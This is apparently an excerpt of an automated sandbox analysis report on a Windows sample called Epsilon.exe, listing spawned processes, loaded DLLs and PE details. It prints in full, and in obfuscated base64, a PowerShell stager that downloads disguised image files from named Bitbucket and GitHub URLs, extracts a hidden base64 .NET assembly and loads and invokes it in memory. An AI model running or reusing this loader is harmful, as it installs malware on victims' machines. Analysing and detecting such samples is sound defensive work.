g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$D	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.hckSkpo/sdaolnwod/rwqewqfqwf/qretretr/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec	Jump to behavior

Source: C:\Users\user\Desktop\Epsilon.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Section loaded: advpack.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Epsilon.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: Epsilon.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Epsilon.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Epsilon.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Epsilon.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Epsilon.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Epsilon.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Epsilon.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: Epsilon.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wextract.pdb source: Epsilon.exe
Source:	Binary string: wextract.pdbGCTL source: Epsilon.exe
Source:	Binary string: C:\Users\Administrator\source\repos\testpowershell\testpowershell\obj\Debug\testpowershell.pdb source: powershell.exe, 00000007.00000002.2169777517.000001A1DA5D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\Administrator\source\repos\testpowershell\testpowershell\obj\Debug\testpowershell.pdbG_a_ S__CorExeMainmscoree.dll source: powershell.exe, 00000007.00000002.2169777517.000001A1DA5D0000.00000004.08000000.00040000.00000000.sdmp

Source: Epsilon.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Epsilon.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Epsilon.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Epsilon.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Epsilon.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $dosigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$